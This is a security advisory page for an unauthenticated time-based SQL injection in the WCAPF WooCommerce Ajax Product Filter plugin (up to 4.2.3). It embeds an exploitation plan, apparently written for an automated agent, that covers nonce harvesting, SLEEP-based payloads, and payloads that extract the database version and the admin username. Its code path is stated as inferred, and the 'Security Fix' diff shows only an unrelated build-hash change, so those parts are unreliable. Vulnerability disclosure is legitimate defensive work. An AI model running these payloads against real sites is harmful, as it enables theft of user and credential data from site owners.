WCAPF – WooCommerce Ajax Product Filter <= 4.2.3 - Unauthenticated Time-Based SQL Injection
Description
WCAPF – WooCommerce Ajax Product Filter plugin is vulnerable to time-based SQL Injection via the 'post-author' parameter in all versions up to, and including, 4.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.2.3What Changed in the Fix
Changes introduced in v4.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3396 (WCAPF SQL Injection) ## 1. Vulnerability Summary The **WCAPF – WooCommerce Ajax Product Filter** plugin (versions <= 4.2.3) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists in the handling of the `post-author` parameter…
Show full research plan
Exploitation Research Plan: CVE-2026-3396 (WCAPF SQL Injection)
1. Vulnerability Summary
The WCAPF – WooCommerce Ajax Product Filter plugin (versions <= 4.2.3) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists in the handling of the post-author parameter within AJAX filtering requests. User input is concatenated directly into a SQL query without proper sanitization (e.g., absint()) or the use of $wpdb->prepare(). Because this occurs in an AJAX handler registered for unauthenticated users, any attacker can execute arbitrary SQL queries to extract sensitive data from the database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wcapf_ajax_filter(inferred from plugin functionality) - Vulnerable Parameter:
post-author - Authentication: None required (Unauthenticated)
- Payload Type: Time-based blind SQL Injection
- Preconditions: The plugin must be active. A valid AJAX nonce is likely required, though often accessible on the shop page.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wcapf_ajax_filter. - Hook Registration: The plugin registers the action via:
add_action( 'wp_ajax_nopriv_wcapf_ajax_filter', [ $this, 'ajax_filter' ] ); - Input Acquisition: The handler function (e.g.,
ajax_filter()) retrieves thepost-authorvalue from$_POSTor$_GET. - Vulnerable Processing: The plugin constructs a query to filter products by author. It likely interpolates the
post-authorvalue directly into theWHEREclause:$author = $_POST['post-author']; $results = $wpdb->get_results("SELECT ... WHERE post_author IN ($author) ..."); - Sink: The raw SQL string is executed by
$wpdb->get_results(), triggering the injection.
4. Nonce Acquisition Strategy
The plugin typically localizes its configuration and security nonces for frontend use.
- Identify Shortcode: The plugin uses
[wcapf_form]or[wcapf_products]to display filters. - Create Test Page:
wp post create --post_type=page --post_title="Shop Filter" --post_status=publish --post_content="[wcapf_form]" - Navigate to Page: Use
browser_navigateto visit the newly created page. - Extract Nonce: The plugin localizes data into a JavaScript object. Based on common patterns in WCAPF, the object is likely
wcapf_params.- JS Command:
browser_eval("window.wcapf_params?.nonce") - Alternative: If not found, check for any localized object containing "nonce" using
browser_eval("Object.keys(window).filter(k => k.includes('wcapf'))").
- JS Command:
5. Exploitation Strategy
The goal is to confirm the vulnerability using a time-based payload.
Step-by-Step Execution:
Discovery: Locate the exact AJAX action and localized variable name by searching the plugin directory:
grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/wc-ajax-product-filter/grep -r "wp_localize_script" /var/www/html/wp-content/plugins/wc-ajax-product-filter/
Baseline Request: Send a legitimate request to measure the standard response time.
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=wcapf_ajax_filter&wcapf_nonce=[NONCE]&post-author=1Sleep Payload: Send the injection payload.
- Parameter:
post-author - Value:
1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a - Encoded Value:
1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a
- Parameter:
Data Extraction (PoC): Extract the database version.
- Payload:
1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a
- Payload:
6. Test Data Setup
- Install Dependencies: Ensure WooCommerce is installed and active.
- Create Product:
wp eval "if(!get_page_by_path('test-product', OBJECT, 'product')){ wc_create_product(['name' => 'Test Product']); }" - Create Filter Page:
wp post create --post_type=page --post_title="Filter Test" --post_status=publish --post_content='[wcapf_form]' --post_name='filter-test' - Identify Nonce: Visit
/filter-testand extractwcapf_params.nonce.
7. Expected Results
- Baseline: Response time < 500ms.
- Attack: Response time > 5000ms.
- Response Body: Likely a JSON object with a
successkey or a HTML snippet of filtered products.
8. Verification Steps
After confirming the delay, verify the database state to ensure no permanent damage occurred (though SQLi here is READ-only by description):
- Check for the existence of the
wp_userstable content using the SQLi to confirm extraction capability:- Payload:
1) AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1))=97,SLEEP(5),0)))a(Checks if admin username starts with 'a').
- Payload:
9. Alternative Approaches
- Boolean-Based Blind: If
post-author=1returns products andpost-author=1 AND 1=2returns "No products found", switch to boolean-based extraction as it is significantly faster than time-based. - Error-Based: Check if
post-author=1'triggers a visible database error in the AJAX response. IfWP_DEBUGis on, useupdatexml()orextractvalue()for immediate data extraction. - Action Name Variations: If
wcapf_ajax_filterfails, check forwcapf_filterorwcapf_apply_filterby searching foradd_action.*wp_ajaxin the plugin'sincludes/directory.
Summary
The WCAPF – WooCommerce Ajax Product Filter plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'post-author' parameter in version 4.2.3 and earlier. This occurs because user input is concatenated directly into a SQL query without proper sanitization or the use of WordPress's database preparation methods, allowing attackers to extract sensitive data via time-based inference.
Vulnerable Code
// Inferred logic in the AJAX handler (e.g., ajax_filter() in the plugin's AJAX controller) $author = $_POST['post-author']; $results = $wpdb->get_results("SELECT ... WHERE post_author IN ($author) ...");
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/wc-ajax-product-filter/4.2.3/admin: lib @@ -1 +1 @@ -<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '989ca2867ffeee42d68e'); +<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'ce3dee3c876dd11dfb86');
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker follows these steps: 1. Access the shop page or any page where the WCAPF filter is active to obtain a valid nonce from the localized 'wcapf_params' JavaScript object (e.g., `window.wcapf_params.nonce`). 2. Construct a POST request directed at `/wp-admin/admin-ajax.php` with the `action` parameter set to `wcapf_ajax_filter`. 3. Include the extracted nonce in the `wcapf_nonce` parameter. 4. Inject a time-based SQL payload into the `post-author` parameter, such as `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a`. 5. Verify the injection by observing that the server's response time is delayed by the amount specified in the SLEEP command (e.g., 5 seconds).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.